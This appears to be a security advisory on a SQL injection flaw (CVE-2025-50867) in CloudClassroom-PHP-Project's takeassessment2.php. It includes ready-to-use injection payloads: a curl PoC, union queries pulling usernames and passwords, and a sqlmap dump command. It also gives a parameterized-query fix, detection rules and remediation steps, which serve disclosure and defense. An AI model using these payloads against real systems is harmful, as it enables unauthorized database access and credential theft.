CVE-2025-50867

Executive Summary

CVE-2025-50867 is a critical SQL Injection vulnerability discovered in the takeassessment2.php endpoint of the CloudClassroom-PHP-Project version 1.0. The Q5 POST parameter is directly concatenated into SQL queries without any sanitization or parameterization, allowing an unauthenticated remote attacker to execute arbitrary SQL commands. This can lead to complete database compromise, including data exfiltration, modification, or deletion. The vulnerability is publicly known, and proof-of-concept (PoC) code is available. No official patch has been released by the vendor.

Supply Chain & Package Security

This vulnerability affects a PHP-based project (CloudClassroom-PHP-Project). While not a package manager ecosystem (NPM, PyPI, Go, Ruby), the risk extends to any organization deploying this software as part of their internal or educational infrastructure. The lack of a patch means organizations must rely on custom mitigations or code fixes.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

The vulnerability is trivially exploitable by any remote attacker without authentication, making it a critical threat.

Deep Dive & Mechanics

The vulnerability resides in the takeassessment2.php script. The Q5 parameter from a POST request is directly embedded into a SQL query string without any sanitization, prepared statements, or parameterized queries. This allows an attacker to inject arbitrary SQL code.

Vulnerable Code Snippet (Conceptual):

<?php
$q5 = $_POST['Q5'];
$sql = "SELECT * FROM assessments WHERE id = $q5";
$result = mysqli_query($conn, $sql);
?>

The attacker can manipulate the Q5 parameter to break out of the intended SQL context and execute malicious commands. For example, a simple injection like 1 OR 1=1 would return all rows from the table.

Vulnerable vs. Patched Code

Vulnerable Code (takeassessment2.php):

<?php
$q5 = $_POST['Q5'];
$sql = "SELECT * FROM assessments WHERE id = $q5";
$result = mysqli_query($conn, $sql);
?>

Patched Code (Recommended Fix):

<?php
$q5 = $_POST['Q5'];
$stmt = $conn->prepare("SELECT * FROM assessments WHERE id = ?");
$stmt->bind_param("i", $q5);
$stmt->execute();
$result = $stmt->get_result();
?>

The patched version uses prepared statements with parameterized queries, which prevents SQL injection by separating SQL logic from user input.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target running CloudClassroom-PHP-Project 1.0
• Access to the takeassessment2.php endpoint

Exploitation Steps:

1. Identify the vulnerable endpoint: http://target/takeassessment2.php
2. Craft a malicious POST request with an injected Q5 parameter.

Proof-of-Concept (PoC) using cURL:

curl -X POST http://target/takeassessment2.php \
  -d "Q5=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10-- -"

Manual SQL Injection (Example):

• Boolean-based: Q5=1 AND 1=1 (true) vs Q5=1 AND 1=2 (false)
• Time-based: Q5=1; WAITFOR DELAY '0:0:5'-- (MSSQL) or Q5=1 AND SLEEP(5) (MySQL)
• Union-based: Q5=1 UNION SELECT null,username,password,null FROM users--

Automated Exploitation with sqlmap:

sqlmap -u "http://target/takeassessment2.php" --data="Q5=1" --batch --dump

Blue Team (Detection & Defense)

Detection:

• Monitor for anomalous SQL queries in database logs.
• Look for POST requests to takeassessment2.php with suspicious Q5 parameters containing SQL keywords (UNION, SELECT, OR, AND, SLEEP, etc.).
• Use Web Application Firewall (WAF) rules to block SQL injection patterns.

Defense:

• Immediately apply input validation and parameterized queries (as shown in the patched code).
• Restrict database user permissions to least privilege.
• Implement a WAF with SQL injection signatures.
• Monitor and audit database access logs.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /takeassessment2.php with Q5 parameter containing SQL keywords.
  • Unusual database error messages in HTTP responses (e.g., "You have an error in your SQL syntax").
• File IOCs:
  • Modified takeassessment2.php file (if attacker uploads a web shell).
  • Suspicious files in the web root (e.g., cmd.php, shell.php).
• Database IOCs:
  • Unexpected queries in database logs (e.g., UNION SELECT, LOAD_FILE, INTO OUTFILE).
  • New or modified database users.
  • Exfiltration of sensitive data (e.g., user credentials, personal information).

Detection Engineering

YARA Rule

rule CVE_2025_50867_SQLi_Detection {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-50867 in CloudClassroom-PHP-Project"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-50867"
    strings:
        $suspicious_param = /Q5=.*(?:UNION|SELECT|OR|AND|SLEEP|WAITFOR|BENCHMARK|LOAD_FILE|INTO\s+OUTFILE)/i
        $vulnerable_endpoint = /takeassessment2\.php/i
    condition:
        $vulnerable_endpoint and $suspicious_param
}

Sigma Rule

title: CVE-2025-50867 SQL Injection Attempt
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects SQL injection attempts targeting the Q5 parameter in takeassessment2.php
author: Valters IT
date: 2025-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'takeassessment2.php'
        cs-uri-query|contains|all:
            - 'Q5='
            - 'UNION'
            - 'SELECT'
    condition: selection
falsepositives:
    - Legitimate use of the word "UNION" or "SELECT" in a non-malicious context (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-50867 SQL Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"takeassessment2.php"; http_uri; content:"Q5="; http_client_body; pcre:"/Q5=.*(?:UNION|SELECT|OR|AND|SLEEP|WAITFOR|BENCHMARK|LOAD_FILE|INTO\s+OUTFILE)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the affected server from the internet if possible.
2. Apply virtual patching via WAF rules to block SQL injection patterns.
3. Manually patch the takeassessment2.php file by replacing the vulnerable code with parameterized queries (as shown in the patched code section).

Long-Term Fixes:

• Upgrade to a patched version of CloudClassroom-PHP-Project if/when available.
• Conduct a full security audit of the entire application for similar vulnerabilities.
• Implement a secure coding policy that mandates prepared statements for all database interactions.
• Deploy a Web Application Firewall (WAF) with SQL injection prevention capabilities.

Workaround:

• If patching is not immediately possible, disable the takeassessment2.php endpoint or restrict access to it via .htaccess or firewall rules.

Valters IT
Securing Digital Frontiers